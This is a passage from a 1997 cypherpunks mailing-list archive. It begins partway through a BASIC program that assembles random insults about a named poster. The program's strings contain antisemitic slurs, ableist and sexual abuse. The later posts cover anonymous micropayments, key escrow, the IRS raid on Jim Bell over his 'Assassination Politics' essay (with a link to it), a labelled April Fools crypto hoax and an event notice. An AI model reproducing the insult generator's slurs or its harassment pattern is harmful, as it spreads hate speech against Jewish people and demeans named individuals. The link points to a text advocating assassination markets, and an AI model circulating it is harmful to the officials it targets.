s$ = " don't speak the English": GOSUB O ELSEIF abgaction = 1 THEN s$ = " can and will to use anything I say against me": GOSUB O ELSEIF abgaction = 2 THEN s$ = " prevented me from getting job at CUNY": GOSUB O ELSEIF abgaction = 3 THEN s$ = " clearly hates me": GOSUB O ELSEIF abgaction = 5 THEN s$ = " has vowed to urinate on my grave": GOSUB O ELSEIF abgaction = 4 THEN s$ = " should learn some English by now": GOSUB O ELSEIF abgaction = 5 THEN s$ = " cheats on welfare": GOSUB O ELSEIF abgaction = 6 THEN s$ = " buys caviar with foodstamps": GOSUB O ELSEIF abgaction = 7 THEN s$ = " snorts speed and seaweeds": GOSUB O ELSEIF abgaction = 8 THEN s$ = " violates Usenet etiquette": GOSUB O ELSEIF abgaction = 9 THEN s$ = " has sold his soul to anti-Semitic yellow press": GOSUB O ELSEIF abgaction = 10 THEN s$ = " voted for Bush": GOSUB O ELSEIF abgaction = 11 THEN s$ = " voted for Clintor": GOSUB O ELSEIF abgaction = 12 THEN s$ = " discusses his genitals in his Usenet postings": GOSUB O ELSEIF abgaction = 13 THEN s$ = " has applied for a job here, but I turned him down": GOSUB O ELSEIF abgaction = 14 THEN s$ = " was conceived during an anal intercourse": GOSUB O ELSEIF abgaction = 15 THEN s$ = " epitomizes Zionist aggression": GOSUB O ELSEIF abgaction = 16 THEN s$ = " buys vodka with counterfeit money he makes": GOSUB O ELSEIF abgaction = 17 THEN s$ = " picks his nose and posts the findings to Usenet": GOSUB O ELSEIF abgaction = 18 THEN s$ = " should be tarred and feathered": GOSUB O ELSEIF abgaction = 19 THEN s$ = " must be silenced": GOSUB O ELSEIF abgaction = 20 THEN s$ = "'s Usenet account should be taken away": GOSUB O ELSEIF abgaction = 21 THEN s$ = " proudly boasts of his oversized penis": GOSUB O ELSEIF abgaction = 22 THEN s$ = " forges Usenet postings from unsuspecting victims": GOSUB O ELSEIF abgaction = 23 THEN s$ = " lies in his resume": GOSUB O ELSEIF abgaction = 24 THEN s$ = ", eat shit and die from AIDS": GOSUB O ELSEIF abgaction = 25 THEN s$ = " pollutes Usenet with his profane writings": GOSUB O ELSEIF abgaction = 26 THEN s$ = " terrifies people with his foul language": GOSUB O ELSEIF abgaction = 27 THEN s$ = " provokes others into vicious flame wars": GOSUB O ELSE s$ = " is": GOSUB O GOSUB bgis END IF RETURN bgis: x = INT(RND * 17) IF abgis = x THEN GOTO bgis abgis = x IF abgis = 0 THEN s$ = " a KGB agent": GOSUB O ELSEIF abgis = 1 THEN s$ = " a rabid dog": GOSUB O ELSEIF abgis = 2 THEN s$ = " an antisemite": GOSUB O ELSEIF abgis = 3 THEN s$ = " a card carrying member of PLO and der Shalom Achshav": GOSUB O ELSEIF abgis = 4 THEN s$ = " 'gavno'": GOSUB O ELSEIF abgis = 5 THEN s$ = " an uncircumcized hazer": GOSUB O ELSEIF abgis = 6 THEN s$ = " a drug pusher": GOSUB O ELSEIF abgis = 7 THEN s$ = " just a zhlob from Odessa": GOSUB O ELSEIF abgis = 8 THEN s$ = " too much of a shiksa": GOSUB O ELSEIF abgis = 9 THEN s$ = " a typical 'sovok'": GOSUB O ELSEIF abgis = 10 THEN s$ = " too stupid to appreciate my postings": GOSUB O ELSEIF abgis = 11 THEN s$ = " full of shit, and smells like it too": GOSUB O ELSEIF abgis = 12 THEN s$ = " mentally retarded": GOSUB O ELSEIF abgis = 13 THEN s$ = " a kikeface": GOSUB O ELSEIF abgis = 14 THEN s$ = " what you get when you cross a vulva and a penis": GOSUB O ELSEIF abgis = 15 THEN s$ = " a reform devil worshipper": GOSUB O ELSEIF abgis = 16 THEN s$ = " a typical product of anal intercourse": GOSUB O END IF RETURN O: IF s$ = "" THEN PRINT O$ PRINT "" O$ = s$ ELSE O$ = O$ + s$ WHILE LEN(O$) > 79 N = 79 WHILE (N > 40) AND MID$(O$, N, 1) <> " " N = N - 1 WEND s$ = LEFT$(O$, N) PRINT s$; O$ = MID$(O$, N + 1) WEND END IF RETURN --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From daw at cs.berkeley.edu Thu Apr 3 18:06:04 1997 From: daw at cs.berkeley.edu (David Wagner) Date: Thu, 3 Apr 1997 18:06:04 -0800 (PST) Subject: No, it's PayWord, no, it's MicroMint, no, it's... In-Reply-To: <199703272018.MAA00322@crypt.hfinney.com> Message-ID: <5i1ncg$v8m@joseph.cs.berkeley.edu> In article <199703272018.MAA00322 at crypt.hfinney.com>, Hal Finney wrote: > It appears that MicroMint is jointly by Rivest and Shamir. It is described > at: > > http://theory.lcs.mit.edu/~rivest/RivestShamir-mpay.ps > > This also describes PayWord. Both schemes are designed for lightweight > payments. PayWord uses a chained hash concept similar to s/key and to > Micali's lightweight signature revalidations. MicroMint is as I described, > literally a "minting" of coins, with similar economies of scale to real > mints. > > Neither one appears suitable for anonymous payments. Wow, a perfect straight line. I couldn't ask for better. Actually, I posted to sci.crypt.research a while ago about how to adapt Rivest and Shamir's PayWord scheme to do anonymous micropayments; see http://www.cs.berkeley.edu/~daw/my-posts/anon-micropayments In short, instead of asking the bank for a hash stick and a signature on the top of the stick, you get a blind signature on a top of a stick you've generated yourself. Then you patch up some issues (like double-spending) that the anonymity raises. Sadly, it's got a problem that'd probably be a killer for practical deployment -- it's got the same patent problems that ecash has. Sigh. From nolegz at juno.com Thu Apr 3 18:12:57 1997 From: nolegz at juno.com (Lloyd E Briggs) Date: Thu, 3 Apr 1997 18:12:57 -0800 (PST) Subject: Analysis of proposed UK ban on use of non-escrowed crypto. In-Reply-To: <19970402000825.61388@bywater.songbird.com> Message-ID: <19970403.211524.6614.0.NOLEGZ@juno.com> Well, after i read this, a quaestion popped into my head? Would the governmnet do the same with snail -mail? But more importantly, does the governm,ent have the right to even go through your private property? On Wed, 2 Apr 1997 20:36:52 -0800 Bill Frantz writes: >At 5:43 PM -0800 4/2/97, Timothy C. May wrote: >>However, key recovery need have no "hooks" by government into it. The >>attempt by the government to ensure secret access, without even so >much as >>a search warrant, is revealing. > >This issue is to me key. If the government wants any creditability on >the >GAK issue, it will include in any GAK system, a provision for >independent >auditing, after the fact, of intercepts. (BTW - I will still oppose >GAK, >but some of my best arguments will be taken away.) > >It seems to me that once you swollen the idea that government has, >under >any circumstances, a right to read your mail, there are two issues. > >(1) Is the proscribed procedure fair? >(2) Did the government follow the procedure? > >(My opposition to GAK is based on my belief that there are no star >chamber >proceedings which are fair. The ability to confront the witnesses >against >you and compel witnesses to testify for you are key here.) > >However, auditing only addresses the second issue. There are many >problems >with auditing the government's use of its access. One key one is, who >is >the auditor? At CFP97, I suggested that the press would make a good >auditor. > >If the KRAP agency is truly at arms length from the government*, then >a >report of the keys released compared with records that the procedures >were >followed, would allow anyone, the press included, to check that the >government followed the procedures. > >Now, I frequently think that the press is in bed with the government, >so I >am looking for a better auditor. Some institution which values its >reputation more than it values its relationship with the government >would >do. Anyone have any good candidates? > >* Assuring this arms length relationship is an exercise for the >student. >(I give it a Knuth grade of 50.) > > >------------------------------------------------------------------------- >Bill Frantz | I have taken a real job at | Periwinkle -- >Consulting >(408)356-8506 | Electric Communities as a | 16345 Englewood Ave. >frantz at netcom.com | capability security guru. | Los Gatos, CA 95032, >USA > > > From toto at sk.sympatico.ca Thu Apr 3 18:41:35 1997 From: toto at sk.sympatico.ca (Toto) Date: Thu, 3 Apr 1997 18:41:35 -0800 (PST) Subject: WebWorld 25 1/5 / 5-part PgP/STEGO file / ww25--->ww25.bmp / password "ww25" Message-ID: <334469A6.688E@sk.sympatico.ca> -----BEGIN PGP MESSAGE, PART 01/05----- Version: 2.6.2 pgACHceUFh6klrmGqHwIvzGmwCkl+wlZwjAth/sW672WFvP7iCbd5Z7aETsXB/wq dQYElko00JN7aJxY6ZdtWpshGaaZ//5yWV1oUVhGDiX5/IZJSGl8r52TXi8+TOpU Rf0PEpdJHih4AQ+PfFYRHyZ1zM2ZOGwZAz5ABTcRhIHJfBqHNTBD/lYZKRFkhh3j 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Message-ID: [I've attached some excerpts from the article. Check out the URL below for the whole thing. --Declan] ******** http://cgi.pathfinder.com/netly/editorial/0,1012,800,00.html The Netly News Network April 3, 1997 IRS raids a cypherpunk by Declan McCullagh (declan at well.com) Jim Bell's first mistake was publishing an essay describing how disgruntled citizens could kill off Federal government agents by using anonymous betting pools and digital cash. His second mistake was informing the IRS that the agency had no legal authority to tax him. About twenty armed IRS agents and other Federal police swarmed into Bell's home in Washington state on Tuesday morning, hunting for evidence that Bell's "Assassination Politics" essay had come to fruition. They expropriated Bell's three computer systems, two guns and even a solitary mouse cable. The Feds were taking no chances: Since Bell's voluminous Net postings mentioned tax collectors, agents from the BATF, FBI, DEA, and local police forces joined the raid. [...] The raid stemmed from a six-month tussle between Bell and the IRS, which began in November 1996 when the 38-year old computer engineer demanded a hefty tax refund and threatened to convene his own "common-law court" if it was refused. That grabbed the Feds' attention. (So did the actions of the "Multnomah County Common Law Court," which apparently met in January to convict IRS agents and Attorney General Janet Reno of "theft by deception.") In February, IRS agents seized Bell's 1986 Honda as payment for back taxes -- and found inside it a printout of his "Assassination Politics" essay. " [...] And it was, ultimately, a Federal magistrate who signed the search warrant on 9:02 am on March 28 at the request of the IRS. Jeffrey Gordon, an inspector in the IRS' Internal Security Division, details in an 10-page affidavit how he traced Bell's use of allegedly fraudulent Social Security Numbers, how he learned that Bell had been arrested in 1989 for "manufacturing a controlled substance," how he found out that Bell possessed the home addresses of a handful of IRS agents. Gordon's conclusion: Bell planned "to overthrow the government." The IRS investigator says in his affidavit that Bell's "essay details an illegal scheme by Bell which involves plans to assassinate IRS and other government officals... I believe that Bell has begun taking steps to carry out his Assassination Politics plan." [...] ------------------------- Time Inc. The Netly News Network Washington Correspondent http://netlynews.com/ From jburke at alt255.com Thu Apr 3 19:42:27 1997 From: jburke at alt255.com (Justin Burke) Date: Thu, 3 Apr 1997 19:42:27 -0800 (PST) Subject: (fwd) Re: Interesting crypto news (fwd) Message-ID: ---------- Forwarded message ---------- From: seward at netcom.ca (John Savard) Newsgroups: sci.crypt,alt.politics.org.nsa Subject: Re: Interesting crypto news Date: Thu, 03 Apr 1997 20:05:44 GMT NEVADA (Reuter) -- Researchers today announced a breakthrough in quantum computing which will greatly ease the creation of computing engines containing quantum gates constructed from atomic traps. Previously this was thought to be an extremely difficult task, but thanks to some astounding new breakthroughs by scientists at Lab 13, a previously unknown research division at Nellis AFB in Nevada, the construction of advanced quantum computers should now become routine. "An initial consignment of 3 acres of quantum computers has already been shipped to a government agency, and we expect to begin shipping products to other organisations within the next few years" said an Air Force spokesperson. WASHINGTON (Reuter) -- In a surprise move, the Clinton administration today announced moves to lift restrictions on the export of strong encryption technology. For years the government has argued that it needs the ability to crack strong encryption to thwart the Soviets, and then after they went away, to catch criminals and terrorists. The new move to allow the free export of encryption has suprised the industry. "We're surprised" said a Microsoft spokesperson who asked to remain anonymous. Law enforcement officials were more forthcoming: "We are now satisfied that we can handle any problems caused by the widespread use of strong encryption" said FBI director Louis Freeh. The articles were posted on March 31st...clearly a day too soon. However, it's not to soon to think about designing ciphers that even three acres of quantum computers would find it daunting to crack... John Savard -- Justin Burke To get my PGP key, send a message with the subject "get-pgp-key". From frissell at panix.com Thu Apr 3 20:03:24 1997 From: frissell at panix.com (Duncan Frissell) Date: Thu, 3 Apr 1997 20:03:24 -0800 (PST) Subject: Jim Bell raid In-Reply-To: <3.0.1.32.19970403121619.007e3100@mail.io.com> Message-ID: <3.0.1.32.19970403221107.006e520c@panix.com> -----BEGIN PGP SIGNED MESSAGE----- At 12:16 PM 4/3/97 -0800, Greg Broiles wrote: >It looks to me like this is real. Yow. Jim Bell is a goddamn loon, but I >haven't seen him write anything that I thought was criminal. The government persists in harassing or arresting people in these 1st Amendment cases even though they know they will not even be able to survive a motion to dismiss. It seems to be recreational for them. You can tell they're not serious because they didn't arrest Jim. JB has certainly managed to get noticed amongst all the "noise" out there in the world. Very difficult to do. And it's getting worse with the Nets. How many death threats must whitehouse.gov get these days? They probably lack the person power to investigate all of them. This will be another one where the raid gets publicity and the failure to prosecute is only noticed by a few. When they drop him, he should trumpet it far and wide. The dropping of the Jake Baker case got little publicity and I even had another lawyer on one of the law lists say that he thought they might try for another indictment. I knew they'd never get anywhere. In those very rare cases where you get a guaranteed government loss criminal investigation/prosecution the party involved should verbally abuse the government and point out their manifest pathetic weakness. It is very rare to be in that situation because the government won't usually back a loser. I urged Phil Z. to take an aggressive approach in his case but he felt uncomfortable about the idea. Perhaps as a "leftie" he granted the inherent authority of the government and was reluctant to bash it. So, JB, find a Portland cybercafe and let 'em have it. DCF "Obligatory John Donne quote: Do Not Ask For Whom the Bell Tools. It Tolls For Thee." -----BEGIN PGP SIGNATURE----- Version: 4.5 iQCVAgUBM0RxR4VO4r4sgSPhAQFEDQP/b8QTvGKipSK4sUDvKIIznESmPQRncGP9 i2venrurNxIiHWorP+C+lpDdrXlC+lrcOfT6WLBFkV7UZTF5qduTqavtXYvCA+7W 1aF6CrE9dWUZNzjnpxMI2t3/Wpr/F7JF+nE1r2R3d6/pCtYZPw3gDeraS34hWXqp tDeuUYPEOyg= =0Znu -----END PGP SIGNATURE----- From ichudov at algebra.com Thu Apr 3 20:19:30 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Thu, 3 Apr 1997 20:19:30 -0800 (PST) Subject: Jim Bell raid In-Reply-To: <3.0.1.32.19970403221107.006e520c@panix.com> Message-ID: <199704040410.WAA02207@manifold.algebra.com> To all lawyers out there: aren't there PUBLIC RECORDS that contain teh search warrant with the probably cause explanation and other material? It would be interesting to send a letter to some court and ask for all public record stuff about jimbell. just an idea igor Duncan Frissell wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > At 12:16 PM 4/3/97 -0800, Greg Broiles wrote: > > >It looks to me like this is real. Yow. Jim Bell is a goddamn loon, but I > >haven't seen him write anything that I thought was criminal. > > The government persists in harassing or arresting people in these 1st > Amendment cases even though they know they will not even be able to survive a > motion to dismiss. It seems to be recreational for them. You can tell > they're not serious because they didn't arrest Jim. > > JB has certainly managed to get noticed amongst all the "noise" out there in > the world. Very difficult to do. And it's getting worse with the Nets. How > many death threats must whitehouse.gov get these days? They probably lack > the person power to investigate all of them. > > This will be another one where the raid gets publicity and the failure to > prosecute is only noticed by a few. When they drop him, he should trumpet it > far and wide. The dropping of the Jake Baker case got little publicity and I > even had another lawyer on one of the law lists say that he thought they > might try for another indictment. I knew they'd never get anywhere. > > In those very rare cases where you get a guaranteed government loss criminal > investigation/prosecution the party involved should verbally abuse the > government and point out their manifest pathetic weakness. It is very rare > to be in that situation because the government won't usually back a loser. I > urged Phil Z. to take an aggressive approach in his case but he felt > uncomfortable about the idea. Perhaps as a "leftie" he granted the inherent > authority of the government and was reluctant to bash it. > > So, JB, find a Portland cybercafe and let 'em have it. > > DCF > > "Obligatory John Donne quote: Do Not Ask For Whom the Bell Tools. It Tolls > For Thee." > -----BEGIN PGP SIGNATURE----- > Version: 4.5 > > iQCVAgUBM0RxR4VO4r4sgSPhAQFEDQP/b8QTvGKipSK4sUDvKIIznESmPQRncGP9 > i2venrurNxIiHWorP+C+lpDdrXlC+lrcOfT6WLBFkV7UZTF5qduTqavtXYvCA+7W > 1aF6CrE9dWUZNzjnpxMI2t3/Wpr/F7JF+nE1r2R3d6/pCtYZPw3gDeraS34hWXqp > tDeuUYPEOyg= > =0Znu > -----END PGP SIGNATURE----- > - Igor. From shabbir at democracy.net Thu Apr 3 20:31:25 1997 From: shabbir at democracy.net (Shabbir Safdar) Date: Thu, 3 Apr 1997 20:31:25 -0800 (PST) Subject: EVENT! Rep. Rick White to hold live online town hall meeting 4/10! Message-ID: <199704040431.XAA07521@panix3.panix.com> ========================================================================= _ _ __| | ___ _ __ ___ ___ ___ _ __ __ _ ___ _ _ _ __ ___| |_ / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __| | (_| | __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | | __/ |_ \__,_|\___|_| |_| |_|\___/ \___|_| \__,_|\___|\__, (_)_| |_|\___|\__| |___/ Government Without Walls _________________________________________________________________________ Update No.3 http:/www.democracy.net/ April 3 1997 _________________________________________________________________________ Table of Contents - Join Internet Caucus Co-Founder Rick White (R-WA) Live Online April 10. - Background on Rep. White - Upcoming Events - About democracy.net ___________________________________________________________________________ JOIN INTERNET CAUCUS-CO FOUNDER REP. RICK WHITE (R-WA) LIVE ONLINE! Representative Rick White (R-WA), co-founder of the Congressional Internet Caucus and leader on Internet policy issues, will be the guest at democracy.net's first live, interactive 'town hall meeting' on Thursday April 10 at 8:30 pm ET (5:30 pm PST). The town hall meeting, moderated by Wired Magazine's Todd Lappin, will be completely virtual. The discussion will be cybercast live via RealAudio, and listeners can join a simultaneous interactive chat discussion and pose questions to Rep. White. This is a unique opportunity for Internet users to discuss current Internet issues, including efforts to reform US Encryption policy, the future of the Communications Decency Act, the activities of the Congressional Internet Caucus, and others. Details on the event, including instructions on how you can submit questions in advance, are attached below. ____________________________________________________________________________ INSTRUCTIONS ON HOW TO PARTICIPATE * Interactive Town Hall Meeting with Rep. Rick White (R-WA) * DATE: Thursday, April 10, 1997 TIME: 5:30 pm PST / 8:30 pm EST LOCATION: http://www.democracy.net In advance of the town hall meeting, please visit http://www.democracy.net and fill out the form to ask Rep. White a question. We will collect the questions and forward them to the moderator on the day of the event, and will make every effort to ensure that questions from constituents are asked first. 1. Attend and ask Rep. White a question! Please mark this date in your calendar: Thursday April 10, 5:30PM PST at http://democracy.net/ 2. Get your friends and co-workers to join the discussion Members of Congress love to hear from their constituents. If you have friends that live in the district, please forward this invitation and encourage them to attend. _____________________________________________________________________________ BACKGROUND Congressman Rick White, 43, is serving his second term representing the people of the First Congressional District of Washington state, which includes parts of Seattle, Redmond, and surrounding areas. In 1995, White gained national attention through his work on the Internet and high-technology issues. He was one of a handful of members selected to develop the final Telecommunications Act of 1996. As the founder of the Congressional Internet Caucus, he has worked to educate members of Congress about the Internet and to create a more open, participatory government through the use of technology. Additional Information can be found at the following locations: * Rep. Rick White's Home Page -- http://www.house.gov/white/ * democracy.net Page -- http://www.democracy.net/ _______________________________________________________________________________ UPCOMING EVENTS Representative Anna Eshoo (D-CA), Internet policy leader from Silicon Valley, will be the guest at democracy.net's interactive 'town hall meeting' on Wednesday April 16 at 8:30 pm ET (5:30 pm PST). Visit http://www.democracy.net for more details. _______________________________________________________________________________ ABOUT DEMOCRACY.NET The democracy.net is a joint project of the Center for Democracy and Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore ways of enhancing citizen participation in the democratic process via the Internet. To this end, democracy.net will host live, interactive cybercasts of Congressional Hearings and online town hall meetings with key policy makers. democracy.net is made possible through the generous support of WebActive, Public Access Networks, the Democracy Network, and DIGEX Internet. More information about the project and its sponsors can be found at http://www.democracy.net/about/ To receive democracy.net announcements automatically, please visit our signup form at http://www.democracy.net/ _____________________________________________________________________________ End update no.3 04/03/1997 ============================================================================= From dlv at bwalk.dm.com Thu Apr 3 21:04:05 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 3 Apr 1997 21:04:05 -0800 (PST) Subject: Feds reading this list, Jim Bell, and threats In-Reply-To: <199704040235.SAA09336@netcom12.netcom.com> Message-ID: <4iDm5D52w165w@bwalk.dm.com> "Vladimir Z. Nuri" writes: > I have argued with JB in the past over his ideas. while I think they > are reprehensible, a govt raid is an extremely chilling result. > I hope it doesn't have the effect of stifling the free flow of > discourse here (actually nothing ever has) but it seems likely > to have some effect. Well - at least they're not "moderating" the list, like Cocksucker John Gilmore did, and not lying blatantly about their moderation policies, like Sandy Sandfort, the C2Net salesman, did. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From toto at sk.sympatico.ca Thu Apr 3 21:04:44 1997 From: toto at sk.sympatico.ca (Toto) Date: Thu, 3 Apr 1997 21:04:44 -0800 (PST) Subject: Assassination Politics on Website Message-ID: <33448C3F.3DD9@sk.sympatico.ca> Jim Bell's "Assassination Politics" is at: http://www3.sk.sympatico.ca/carljohn/ -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From declan at pathfinder.com Thu Apr 3 21:29:43 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Thu, 3 Apr 1997 21:29:43 -0800 (PST) Subject: Jim Bell raid In-Reply-To: <199704040410.WAA02207@manifold.algebra.com> Message-ID: Yes, there are. I have a copy of the search warrant, IRS affidavit, and list of seized items. Beyond that, there's nothing else in the court record. And the U.S. Attorney isn't saying much. -Declan On Thu, 3 Apr 1997, Igor Chudov @ home wrote: > To all lawyers out there: aren't there PUBLIC RECORDS that contain > teh search warrant with the probably cause explanation and other > material? It would be interesting to send a letter to some court > and ask for all public record stuff about jimbell. > > just an idea > > igor > > Duncan Frissell wrote: > > > > -----BEGIN PGP SIGNED MESSAGE----- > > > > At 12:16 PM 4/3/97 -0800, Greg Broiles wrote: > > > > >It looks to me like this is real. Yow. Jim Bell is a goddamn loon, but I > > >haven't seen him write anything that I thought was criminal. > > > > The government persists in harassing or arresting people in these 1st > > Amendment cases even though they know they will not even be able to survive a > > motion to dismiss. It seems to be recreational for them. You can tell > > they're not serious because they didn't arrest Jim. > > > > JB has certainly managed to get noticed amongst all the "noise" out there in > > the world. Very difficult to do. And it's getting worse with the Nets. How > > many death threats must whitehouse.gov get these days? They probably lack > > the person power to investigate all of them. > > > > This will be another one where the raid gets publicity and the failure to > > prosecute is only noticed by a few. When they drop him, he should trumpet it > > far and wide. The dropping of the Jake Baker case got little publicity and I > > even had another lawyer on one of the law lists say that he thought they > > might try for another indictment. I knew they'd never get anywhere. > > > > In those very rare cases where you get a guaranteed government loss criminal > > investigation/prosecution the party involved should verbally abuse the > > government and point out their manifest pathetic weakness. It is very rare > > to be in that situation because the government won't usually back a loser. I > > urged Phil Z. to take an aggressive approach in his case but he felt > > uncomfortable about the idea. Perhaps as a "leftie" he granted the inherent > > authority of the government and was reluctant to bash it. > > > > So, JB, find a Portland cybercafe and let 'em have it. > > > > DCF > > > > "Obligatory John Donne quote: Do Not Ask For Whom the Bell Tools. It Tolls > > For Thee." > > -----BEGIN PGP SIGNATURE----- > > Version: 4.5 > > > > iQCVAgUBM0RxR4VO4r4sgSPhAQFEDQP/b8QTvGKipSK4sUDvKIIznESmPQRncGP9 > > i2venrurNxIiHWorP+C+lpDdrXlC+lrcOfT6WLBFkV7UZTF5qduTqavtXYvCA+7W > > 1aF6CrE9dWUZNzjnpxMI2t3/Wpr/F7JF+nE1r2R3d6/pCtYZPw3gDeraS34hWXqp > > tDeuUYPEOyg= > > =0Znu > > -----END PGP SIGNATURE----- > > > > > > - Igor. > > From declan at pathfinder.com Thu Apr 3 21:34:25 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Thu, 3 Apr 1997 21:34:25 -0800 (PST) Subject: EVENT! Rep. Rick White to hold live online town hall meeting 4/10! In-Reply-To: <199704040431.XAA07521@panix3.panix.com> Message-ID: Folks participating in this event may want to ask Rep. White why he supports the "harmful to minors" Net-censorship standard. (How can I tell if material on my web page is "harmful" to some Bible Belt fundies? How can I block kids from viewing my site? Same problems we have with the CDA 1.0.) If he gives satisfactory answers, then -- and only then -- will he be a "leader on Internet policy issues." After all, the best Internet policy is to just leave it alone. -Declan On Thu, 3 Apr 1997, Shabbir Safdar wrote: > ========================================================================= > _ _ > __| | ___ _ __ ___ ___ ___ _ __ __ _ ___ _ _ _ __ ___| |_ > / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __| > | (_| | __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | | __/ |_ > \__,_|\___|_| |_| |_|\___/ \___|_| \__,_|\___|\__, (_)_| |_|\___|\__| > |___/ > Government Without Walls > _________________________________________________________________________ > Update No.3 http:/www.democracy.net/ April 3 1997 > _________________________________________________________________________ > Table of Contents > > - Join Internet Caucus Co-Founder Rick White (R-WA) Live Online April 10. > - Background on Rep. White > - Upcoming Events > - About democracy.net > ___________________________________________________________________________ > JOIN INTERNET CAUCUS-CO FOUNDER REP. RICK WHITE (R-WA) LIVE ONLINE! > > Representative Rick White (R-WA), co-founder of the Congressional Internet > Caucus and leader on Internet policy issues, will be the guest at > democracy.net's first live, interactive 'town hall meeting' on Thursday > April 10 at 8:30 pm ET (5:30 pm PST). > > The town hall meeting, moderated by Wired Magazine's Todd Lappin, will be > completely virtual. The discussion will be cybercast live via RealAudio, > and listeners can join a simultaneous interactive chat discussion and pose > questions to Rep. White. > > This is a unique opportunity for Internet users to discuss current Internet > issues, including efforts to reform US Encryption policy, the future of the > Communications Decency Act, the activities of the Congressional Internet > Caucus, and others. > > Details on the event, including instructions on how you can submit questions > in advance, are attached below. > > ____________________________________________________________________________ > INSTRUCTIONS ON HOW TO PARTICIPATE > > * Interactive Town Hall Meeting with Rep. Rick White (R-WA) * > > DATE: Thursday, April 10, 1997 > TIME: 5:30 pm PST / 8:30 pm EST > LOCATION: http://www.democracy.net > > In advance of the town hall meeting, please visit http://www.democracy.net > and fill out the form to ask Rep. White a question. We will collect the > questions and forward them to the moderator on the day of the event, and > will make every effort to ensure that questions from constituents are asked > first. > > 1. Attend and ask Rep. White a question! > > Please mark this date in your calendar: Thursday April 10, 5:30PM PST > at http://democracy.net/ > > 2. Get your friends and co-workers to join the discussion > > Members of Congress love to hear from their constituents. If you have > friends that live in the district, please forward this invitation and > encourage them to attend. > > _____________________________________________________________________________ > BACKGROUND > > Congressman Rick White, 43, is serving his second term representing the > people of the First Congressional District of Washington state, which > includes parts of Seattle, Redmond, and surrounding areas. > > In 1995, White gained national attention through his work on the > Internet and high-technology issues. He was one of a handful of members > selected to develop the final Telecommunications Act of 1996. As the > founder of the Congressional Internet Caucus, he has worked to educate > members of Congress about the Internet and to create a more open, > participatory government through the use of technology. > > Additional Information can be found at the following locations: > > * Rep. Rick White's Home Page -- http://www.house.gov/white/ > * democracy.net Page -- http://www.democracy.net/ > > _______________________________________________________________________________ > UPCOMING EVENTS > > Representative Anna Eshoo (D-CA), Internet policy leader from Silicon > Valley, will be the guest at democracy.net's interactive 'town hall meeting' > on Wednesday April 16 at 8:30 pm ET (5:30 pm PST). > > Visit http://www.democracy.net for more details. > > _______________________________________________________________________________ > ABOUT DEMOCRACY.NET > > The democracy.net is a joint project of the Center for Democracy and > Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore > ways of enhancing citizen participation in the democratic process via > the Internet. > > To this end, democracy.net will host live, interactive cybercasts of > Congressional Hearings and online town hall meetings with key policy makers. > > democracy.net is made possible through the generous support of WebActive, > Public Access Networks, the Democracy Network, and DIGEX Internet. More > information about the project and its sponsors can be found at > http://www.democracy.net/about/ > > To receive democracy.net announcements automatically, please visit our > signup form at http://www.democracy.net/ > > _____________________________________________________________________________ > End update no.3 04/03/1997 > ============================================================================= > > From ichudov at algebra.com Thu Apr 3 21:36:39 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Thu, 3 Apr 1997 21:36:39 -0800 (PST) Subject: Jim Bell raid In-Reply-To: Message-ID: <199704040533.XAA03035@manifold.algebra.com> Declan McCullagh wrote: > > Yes, there are. I have a copy of the search warrant, IRS affidavit, and > list of seized items. Beyond that, there's nothing else in the court > record. And the U.S. Attorney isn't saying much. This is cool. Could you post them? That woul;d be interesting. igor > -Declan > > On Thu, 3 Apr 1997, Igor Chudov @ home wrote: > > > To all lawyers out there: aren't there PUBLIC RECORDS that contain > > teh search warrant with the probably cause explanation and other > > material? It would be interesting to send a letter to some court > > and ask for all public record stuff about jimbell. > > > > just an idea > > > > igor > > > > Duncan Frissell wrote: > > > > > > -----BEGIN PGP SIGNED MESSAGE----- > > > > > > At 12:16 PM 4/3/97 -0800, Greg Broiles wrote: > > > > > > >It looks to me like this is real. Yow. Jim Bell is a goddamn loon, but I > > > >haven't seen him write anything that I thought was criminal. > > > > > > The government persists in harassing or arresting people in these 1st > > > Amendment cases even though they know they will not even be able to survive a > > > motion to dismiss. It seems to be recreational for them. You can tell > > > they're not serious because they didn't arrest Jim. > > > > > > JB has certainly managed to get noticed amongst all the "noise" out there in > > > the world. Very difficult to do. And it's getting worse with the Nets. How > > > many death threats must whitehouse.gov get these days? They probably lack > > > the person power to investigate all of them. > > > > > > This will be another one where the raid gets publicity and the failure to > > > prosecute is only noticed by a few. When they drop him, he should trumpet it > > > far and wide. The dropping of the Jake Baker case got little publicity and I > > > even had another lawyer on one of the law lists say that he thought they > > > might try for another indictment. I knew they'd never get anywhere. > > > > > > In those very rare cases where you get a guaranteed government loss criminal > > > investigation/prosecution the party involved should verbally abuse the > > > government and point out their manifest pathetic weakness. It is very rare > > > to be in that situation because the government won't usually back a loser. I > > > urged Phil Z. to take an aggressive approach in his case but he felt > > > uncomfortable about the idea. Perhaps as a "leftie" he granted the inherent > > > authority of the government and was reluctant to bash it. > > > > > > So, JB, find a Portland cybercafe and let 'em have it. > > > > > > DCF > > > > > > "Obligatory John Donne quote: Do Not Ask For Whom the Bell Tools. It Tolls > > > For Thee." > > > -----BEGIN PGP SIGNATURE----- > > > Version: 4.5 > > > > > > iQCVAgUBM0RxR4VO4r4sgSPhAQFEDQP/b8QTvGKipSK4sUDvKIIznESmPQRncGP9 > > > i2venrurNxIiHWorP+C+lpDdrXlC+lrcOfT6WLBFkV7UZTF5qduTqavtXYvCA+7W > > > 1aF6CrE9dWUZNzjnpxMI2t3/Wpr/F7JF+nE1r2R3d6/pCtYZPw3gDeraS34hWXqp > > > tDeuUYPEOyg= > > > =0Znu > > > -----END PGP 